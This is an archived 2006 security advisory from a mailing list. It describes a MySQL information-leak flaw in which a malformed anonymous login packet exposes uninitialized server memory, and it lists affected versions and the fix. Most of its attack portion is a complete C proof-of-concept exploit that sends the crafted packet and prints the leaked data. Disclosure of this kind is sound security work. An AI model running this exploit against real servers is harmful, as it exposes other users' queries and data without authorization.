Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] MySQL Anonymous Login Handshake

Subject: [UNIX] MySQL Anonymous Login Handshake
Date: 7 May 2006 15:30:15 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  MySQL Anonymous Login Handshake
------------------------------------------------------------------------


SUMMARY

MySQL is a multithreaded, multi-user, SQL Database Management System 
(DBMS) with an estimated six million installations. MySQL AB makes MySQL 
available as free software under the GNU General Public License (GPL), but 
they also dual-license it under traditional proprietary licensing 
arrangements for cases where the intended use is incompatible with the 
GPL.

MySQL Server has an information leakage vulnerability in the way MySQL 
parses login packets with anonymous users (blank password).

DETAILS

Vulnerable Systems:
 * Mysql server versions 4.1.18 and prior.
 * Mysql server version 5.0.20.

Immune Systems:
 * Mysql server version 4.0.27
 * Mysql server version 4.1.19
 * Mysql server version 5.0.21
 * Mysql server version 5.1.10

Note:
To take advantage of these flaws an attacker should have direct access to 
MySQL server communication layer (port 3306 or unix socket). But if used 
in conjuction with some web application flaws  (i.e. php code injection) 
an attacker could use socket programming (i.e. php sockets) to gain access 
to that layer.

By crafting a specifically malformed login packet, initial db name is 
filled with uninitialized memory content.

Let's suppose MySql Server has anonymous access.

Infact, if we want to use 'wisecdb' database as user 'wisec' and password 
's'  a normal client would send a packet like this:

---------------------------------------------------------------
43  00  00  01  0d  a6  03  00  00  00  00  01  08  00  00  00
00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00
00  00  00  00  77  69  73  65  63  00  14  aa  69  23  07  2a
ff  99  61  a3  c4  5f  04  66  3b  32  ef  a1  f2  b6  59  77
69  73  65  63  64  62  00
C   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .
   .   .   .   .   .   .   .   .   .   .   .   .   .   .   .
   .   .   .   w   i   s   e   c   .   .   .   i   #   .   *
   .   a   .   .   _   .   f   ;   2   .   .   .   .   Y   w
i   s   e   c   d   b   .
---------------------------------------------------------------

but if we look at the code (MySQL <= 5.0.20)
on sql_parse.cc line ~  993
function  check_connection(THD *thd):


  char *user= end;
  char *passwd= strend(user)+1;
  char *db= passwd;
  char db_buff[NAME_LEN+1];                     // buffer to store db in 
utf8
  char user_buff[USERNAME_LENGTH+1];            // buffer to store user in 
utf8
  uint dummy_errors;

  uint passwd_len= thd->client_capabilities & CLIENT_SECURE_CONNECTION ?
    *passwd++ : strlen(passwd);
  db= thd->client_capabilities & CLIENT_CONNECT_WITH_DB ?
    db + passwd_len + 1 : 0;
  /* [1] */
  /* Since 4.1 all database names are stored in utf8 */
  if (db)
  {
    db_buff[copy_and_convert(db_buff, sizeof(db_buff)-1,
                             system_charset_info,
                             db, strlen(db),
                             thd->charset(), &dummy_errors)]= 0;
    db= db_buff;
  }

--

It can be noticed a check for packet construction is missing here[1].

Just replace the null byte at the end of username  'wisec\0' with any 
other byte like this 'wisec0'. What happens? User is assigned to some part 
of the packet content, and db is assigned with some (internal) memory 
beyond packet_length.

So if we send a specific packet we'll get an error message like this:
Access denied for user ''@localhost to database 'lqt'

By changing packet lenght (db length) and with a little bit of luck a 
malicious user could get sensitive informations such as parts of queries 
and or response executed by some previously logged user.

Vendor Status: 
Notified on April, 25th 2006, Confirmed on April, 26th 2006.
New versions released on 2nd May 2006.

Fix:
Update to 4.0.27, 4.1.19, 5.0.21, 5.1.10 versions.
You can download them on  <http://dev.mysql.com/downloads/> 
http://dev.mysql.com/downloads/

Proof of concept:
Anonymous packet information leakage:

Compile with:
 gcc my_anon_db_leak.c -o my_anon_db_leak
  
usage:
  my_anon_db_leak  [-s path/to/socket] [-h hostname_or_ip] [-p port_num] 
[-n db_len]

Example
 $ my_anon_db_leak -s /tmp/mysql.sock -n 20

my_anon_db_leak.c:
/* ****************************************************************
  
  April 21.st 2006
  
  my_anon_db_leak.c
  MySql Anonimous Login Memory Leak
  MySql <= 5.0.20
  MySql <= 4.1.x
  
  copyright 2006 Stefano Di Paola (stefano.dipaola_at_wisec.it)
  
  GPL 2.0
  ****************************************************************
  
  Disclaimer:
  In no event shall the author be liable for any damages
  whatsoever arising out of or in connection with the use
  or spread of this information.
  Any use of this information is at the user's own risk.
  
  ****************************************************************
  Compile with:
  gcc my_anon_db_leak.c -o my_anon_db_leak
  
  usage:
  my_anon_db_leak [-s path/to/socket] [-h hostname_or_ip] [-p port_num] 
[-n db_len]
  
  
*/


#include <sys/types.h>
/* we need MSG_WAITALL - that's why this ugly #ifdef, why doesn't glibc2
have MSG_WAITALL in its <socketbits.h> ??
*/

#ifdef __linux__
#include <linux/socket.h>
#else
#include <sys/socket.h>
#endif
#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/file.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>  /* sockaddr_in{} and other Internet defns */
#include <netdb.h>  /* needed by gethostbyname */
#include <arpa/inet.h>  /* needed by inet_ntoa */


char anon_pckt[] = {
  0x3d, 0x00, 0x00, 0x01, 0x0d, 0xa6, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 
0x08, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x14, 0x99, 
0xdb, 0x54, 0xb6, 0x6a,
  0xd7, 0xc2, 0x86, 0x4c, 0x50, 0xa8, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 
0x0d, 0xad, 0x45, 0x73,
  0x00
};    // len=16*4+1=65;


int anon_pckt_len = 65;

#define USOCK "/tmp/mysql2.sock"

int
tcp_conn (char *hostname, int port)
{

  int sockfd;
  int n;
  struct sockaddr_in servaddr;

  struct hostent *hp;



  if ((hp = gethostbyname (hostname)) == 0)
    {
      perror ("gethostbyname");
      exit (0);
    }

  if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
    {
      perror ("socket");
      exit (1);
    }

  bzero ((char *) &servaddr, sizeof (servaddr));
  servaddr.sin_family = AF_INET;
  servaddr.sin_port = htons (port);

  memcpy (&servaddr.sin_addr, hp->h_addr, hp->h_length);
  if (servaddr.sin_addr.s_addr <= 0)
    {
      perror ("bad address after gethostbyname");
      exit (1);
    }
  if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 
0)
    {
      perror ("connect");
      exit (1);
    }
  return sockfd;
}

int
unix_conn (char *path)
{
  int fd, len;
  struct sockaddr_un sa;

  fd = socket (PF_UNIX, SOCK_STREAM, 0);

  if (fd < 0)
    {
      perror ("cli: socket(PF_UNIX,SOCK_STREAM)");
      exit (1);
    }

  sa.sun_family = AF_UNIX;
  strcpy (sa.sun_path, path);
  len = sizeof (sa);
  if (connect (fd, (struct sockaddr *) &sa, len) < 0)
    {
      perror ("cli: connect()");
      exit (1);
    }
  return fd;
}

int
main (int argc, char *argv[])
{
  int fd;
  int i, ret;
  char packet[65535];
  char *path;
  char *host;
  int port = 3306;
  char buf[65535];
  int db_len = 0;
  int pckt_len = anon_pckt_len;
  int unix_sock = 1;
  char c;

  path = strdup (USOCK);
  host = strdup ("127.0.0.1");

  opterr = 0;

  while ((c = getopt (argc, argv, "s:h:p:n:")) != -1)
    switch (c)
      {
      case 's':
 path = strdup (optarg);
 unix_sock = 1;
 break;
      case 'h':
 host = strdup (optarg);
 unix_sock = 0;
 break;
      case 'p':
 port = atoi (optarg);
 unix_sock = 0;
 break;
      case 'n':
 db_len = atoi (optarg);
 break;

      default:
 break;
      }


  bzero (packet, 65535);

  pckt_len = anon_pckt_len + db_len;
  printf ("%d\n", pckt_len);

  for (i = 0; i < pckt_len; i++)
    packet[i] = anon_pckt[i];

  if (db_len)
    for (i = anon_pckt_len - 2; i < pckt_len; i++)
      packet[i] = 'A';

  packet[pckt_len - 1] = '\0';

  packet[0] = (char) (anon_pckt[0] + db_len) & 0xff;
  packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff;
  for (i = 0; i < pckt_len; i++)
    printf (" %.2x%c", (unsigned char) packet[i],
     ((i + 1) % 16 ? ' ' : '\n'));
  printf ("\n");


  if (unix_sock)
    fd = unix_conn (path);
  else
    fd = tcp_conn (host, port);

  sleep (1);
  ret = recv (fd, buf, 65535, 0);
  if (send (fd, packet, pckt_len, 0) != pckt_len)
    {
      perror ("cli: send(anon_pckt)");
      exit (1);
    }

  ret = recv (fd, buf, 65535, 0);
  for (i = 0; i < ret; i++)
    printf ("%c", (isalpha (buf[i]) ? buf[i] : '.'));
  printf ("\n");
  return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:stefano.dipaola@wisec.it> 
Stefano Di Paola.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] MySQL Anonymous Login Handshake, SecuriTeam <=